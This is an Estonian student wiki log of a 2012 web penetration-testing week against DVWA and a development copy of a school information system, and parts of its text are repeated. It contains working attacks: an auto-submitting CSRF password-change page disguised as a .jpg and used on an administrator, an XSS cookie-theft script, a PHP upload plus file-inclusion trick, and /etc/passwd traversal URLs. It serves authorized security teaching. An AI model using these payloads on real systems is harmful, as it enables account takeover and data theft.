<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.<br>
Faile saab alla laadida enda profiili all õppesooritustes.<br>
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.<br>
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.<br>
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.<br>
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.<br>
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.<br>

=== Urmo tegevus ===
====Subgraph Vega ====
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.
Programm on Java põhine graafilise liidesega ja töötab Linux'i, OS X ja Windowsi peal.

[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.

Alustasime uut skänni (Start New Scan).
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.

Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised.

Me lisasime ainult küpsise (cookie) sisu:
<pre>
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221
</pre>
ning Finish.

[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).

Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000.

Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script'ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body nõrkust.

Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID'sid ja parameetreid ära oma pealkirjades.
Õnneks parameetritega väljad olid veebilehel korralikult ära escape'itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.

ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.

==== Wapiti ====
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti.
(Koduleht: http://wapiti.sourceforge.net/)

Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS'iga midagi teha.

==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====
=====1. katse - ÕISi keskkkonna keelevahetus =====
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]

Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.

Võtsime dev-ÕIS'i Source Code'ist välja vastava formi osa ja panime eraldi html faili.
Koristasime mittevajaliku disaini koodi juurest ära.
Muutsime form'i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks "en" ehk inglise keelne keskkond tekiks.
Panime koodi enose veebiserverisse üles nimega ois.html.

Faili sisu:
<source lang="html4strict">
<form id="settingsForm" method="post" action="https://itcollege.dev.ois.ee/setting/edit?user_id=2198"
enctype="application/x-www-form-urlencoded">
<input type="hidden" AUTOCOMPLETE="off" name="default_language"value="en">
<br>
<input type="submit" value="Salvesta seaded" name="Savesettings">
</form>
</source>
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.

Katsetas koodi enda konto peal Taavi.

=====2. katse - ÕIS'i kasutaja parooli muutmine =====

[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.

Selle jaoks uurisime välja, kus asub dev-ÕIS'i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.

Muutsime password ja password_check lahtrite väärtused järgnevaks: "test123" ehk kasutaja uus parool peale rünnakut.

Lahtrites muutsime user_id'd sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.

Kõik vormi lahtrite tüübid määrasime peidetud ehk "hidden", et poleks midagi näidata.

Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist.
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.

Lisasime CSS koodi Submit nupu ära peitmiseks.
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.

Salvestasime faili ära kui "screen1.jpg" fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.

Faili sisu:
<source lang="html4strict">
<html>
<head>
<style type="text/css">
#Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }
</style>
</head>
<body>
<body onload="document.forms.setPasswordForm.submit();">
<form name="setPasswordForm" id="setPasswordForm"
action="https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&continue=/auth/logout"
method="post">
<input type="hidden" name="user_id" value="2227" id="user_id" />
<input type="hidden" name="continue" value="%2Fet%2Fsetting%3Fuser_id%3D2227" id="continue" />
<input type="hidden" name="password" id="password" value="test123" />
<input type="hidden" name="password_check" id="password_check" value="test123" />
<input type="submit" name="Setpassword" id="Setpassword" value="Muuda salasõna" />
</form>
</body>
</html>
</source>

[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]

Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.
<pre>
AddType application/x-httpd-php .php .jpg
</pre>

Laadisime mõlemad failid Enose veebiserverisse avalikult.

Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki.
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle.
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail.
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja.
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud "test123"-ks ja me saime ligipääsu administraatori õigustes kontole.
Rünnak oli edukas.
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]

Andsime teada Valterile teada, et tegelikult tegime salajase ründe.
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha.
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug'iga.

Kuna tegu oli ÕIS'i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.

=== Taavi tegevus ===
===Burp suite===

Esimese asjane peale Burp suite käivitamist. Tabilt proxy ->intercept ->intercept off<br>
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)<br>
Proxy -> options alt lülitada sisse proxy listner pordile 8080 .<br>
Ohvri valimine <br>
Valida intruder -> target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.<br>
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.<br>
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.<br>site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.<br>
Targer->scope -> exclude frome scope ja veenduda at välja on arvatud logout laused.<br>
Spideringi sisselülitamine <br>
Valida tab Spide ning sealt panna linnuke kasti spider running.<br>
Ning oledki valmis saama laheküljelt infot.<br>
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.<br>
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.

==Nessuse algkäivitamine==
Valida backtrackist vulnerability scannerite alt nessus ning edasi nessus register .<br> Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.<br> Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)<br>
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)<br>
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.<br>
Järgnevalt valida nessus start.<br>
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.<br>
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.

=== Matise tegevus ===
==Väike upload tegevus, mis võiks olla teisiti==
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.
Proovisime üles laadida:
<li>filme
<li>exe
<li>jpm faile
<br>kõik läks läbi ja sai uploaditud
Sellises kohas võiks olla süsteem tehtud whitelisti põhimõttel,
<br>et lubatud oleks ainult:
<li>.doc
<li>.docx
<li>.pdf
Näiteks sellised failid ja kõik ülejäänud oleksid keelatud.

=== Sanderi tegevus ===
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]
Backtarcki keskkonnas sai testitud programmi w3af.

==== Backtrack: w3af ====
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]
Võimalik kätte saada SSL Certificate.
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:
https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?
username=<font color="red">KASUTAJANIMI</font>&continue=&Login=Logi sisse&pw=<font color="red">PAROOL</font>
Programmi sisestatud andmetega ka mitte:
Configuration -> HTTP Config -> Basic HTTP Authentication:
basicAuthUser: <font color="red">KASUTAJANIMI</font>
basicAuthPass: <font color="red">PAROOL</font>
basicAuthDomain: http://itcollege.dev.ois.ee
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:
Configuration -> HTTP Config -> Cookies
cookieJarFile: /root/Desktop/<font color="red">ois_cookie.txt</font>
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:
# Netscape HTTP Cookie File
.dev.ois.ee TRUE / FALSE 1731510001 itcollege_OIS_SESSION_ID <font color="red">870aqllryuw3cmf6cv8ellha03</font>
Esimene rida on nõutav! Teiste tähendused:
domain - The domain that created and that can read the variable.
flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.
This value is set automatically by the browser, depending on the value you set for domain.
path - The path within the domain that the variable is valid for.
secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.
expiration - The UNIX time that the variable will expire on.
name - The name of the variable.
value - The value of the variable.
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:
Edit -> Preferences -> Privacy -> History -> remove individual cookies
Search: itcollege.dev.ois.ee
Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID

Skänneerimine:
<ul>
<li>The page language is: en</li>
<li>The URL: "https://itcollege.dev.ois.ee/" has a "<form>" element with auto-complete enabled.</li>
<li>A comment with the string "<p>tunne end kui koolis</p>" was found in: "https://itcollege.dev.ois.ee/".</li>
<li>Found a form login. The action of the form is: "https://itcollege.dev.ois.ee/auth/login".</li>
The username field to be used is: "username".
The password field to be used is: "pw".
<li><font color="red">Found authentication credentials to: "https://itcollege.dev.ois.ee/auth/login". A correct user and password combination is: Administrador/6666666</font></li>
Antud kasutaja ja parooliga sisse ei saanud.
<li>The URL: "https://itcollege.dev.ois.ee/" returned a response that may contain a "SHA1" hash. The hash is: "c7b39896de5f296b5a44c2dfcd9f0600b2cf424d". This is uncommon and requires human verification.</li>
Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.
<li>The URL: "https://itcollege.dev.ois.ee/" sent these cookies:</li>
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/
itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/
<li>The SMTP settings in emailReport plugin seem to be incorrect. Original error: "[Errno 111] Connection refused".</li>
Kui tuleb see veateade, siis skänn katkeb.
<li><font color="red">The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):</font></li>
The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.
It allows the attacker to exchange the method from POST to GET when sending data to the server.
<li><font color="red">SQL injection in a Unknown database was found at: "https://itcollege.dev.ois.ee/auth/login", using HTTP method POST.</font></li>
The sent post-data was: "username=John8212&security_key_sis_global=d'z"0&Login=Logi%20sisse&continue=56&pw=FrAmE30.".
The modified parameter was "security_key_sis_global". This vulnerability was found in the request with id 390.
<li>Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt</li>
User-agent: *
Disallow: /
Allow: /curriculum
Allow: /subject
Allow: /diploma
Allow: /schedule/ical
</ul>

== 4. päev - Presentatsiooni tegemine ja esitlemine ==

Koostasime presentatsiooni ja esitlemine.

[[Media:Security_team_presentation.ppt]]

== Arvamused intensiivõppe nädala kohta ==

== Tegijad ==
Alo Konno A21

Urmo Lihten A21

Taavi Podžuks A22

Matis Alliksoo A22

Sander Saarm A22

== Juhendajad ==
Mart Mangus

Margus Ernits

Valter Kungla

Security team

2012-03-30T11:30:55Z

Mallikso: /* Väike upload tegevus, mis võiks olla teisiti */

== 1. päev - Materjalidega tutvumine ==

<h1>POOLELI!</h1>

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

Sanderi konspekt: [[Media:Ois_materjal.pdf]] <br>
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] <br>
Taavi esitlus [[Meida: A9.pdf]] <br>
Taavi esitlus [[Meida: A5.pdf]] <br>
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] <br>

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==
===Security Team tegevusplaan===
1. Päev
1.1 Tutvuda OWASP’iga.
1.2 Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.
1.3 Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.
2. Päev
2.1 Esitada tiimi tegevusplaan.
2.2 Tutvuda turvariskidega natuke põhjalikumalt.
2.3 Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.
2.4 Täiendada esimese päeva ettekannet.
3. Päev
3.1 Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.
3.2 Saadud tulemuste dokumenteerimine.
4. Päev
4.1 Saadud tulemuste esitlemine ettekandega
5. Päev
5.1 Tulemuste parandamine wiki’s.

=== Alo tegevus ===

http://www.acunetix.com/support/vulnerability-checks.htm
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting
http://www.youtube.com/watch?v=SG1cvGQ971g
http://www.isecom.org/research.html
http://evuln.com/tools/
http://sectools.org/tag/web-scanners/
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/
http://www.acunetix.com/vulnerability-scanner/getting-started.htm

Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:
Acunetix Web Vulnerability Scanner v. 8
http://www.acunetix.com/vulnerability-scanner/

Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.
Antud programm võimaldab skännida:
Cross-Site Scripting (XSS)
SQL Injection (blind test)
File inclusion
Code Execution
LDAP Injection
Cross Frame Scripting
SQL Injection (error msg. test)
CRLF Injection
Directory Travelsal
XPath Injection
URL Redirection
Application Error Message

Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

===== Fireforce plugin Firefoxis =====
Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .

Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud.
Selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse.
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada.
Päringute tegemise kiirus vähem kui 1 päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.
Kasutasime ka videos näidatud "@ DICTIONARY" teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

===== Burpsuite v1.4 =====
Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI'st]]

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
[[Image:Xsstesting.jpg|Location="left"|Caption|]]
<br>Form väljastab : Hello „sisestatud nimi“
<li>Easy puhul:</li>
<li>Saab sisestada textboxi skripti:</li>
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
<li>Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.</li>
<li>Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: </li>
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
<li>Saab kohe enda veebiserveri logidest näha Session ID’d.
<br>Näide logist:</li>
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" <br> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
<li>Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.</li>
</ul>

=== Sanderi tegevus ===
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida ei saa näiteks järgnevates formaatides faile:</li>
.htaccess
.php .html .pdf
.gif .png .bmp
.svg .swf
.tif .tiff .exif
.raw .cgm
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
<li>Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
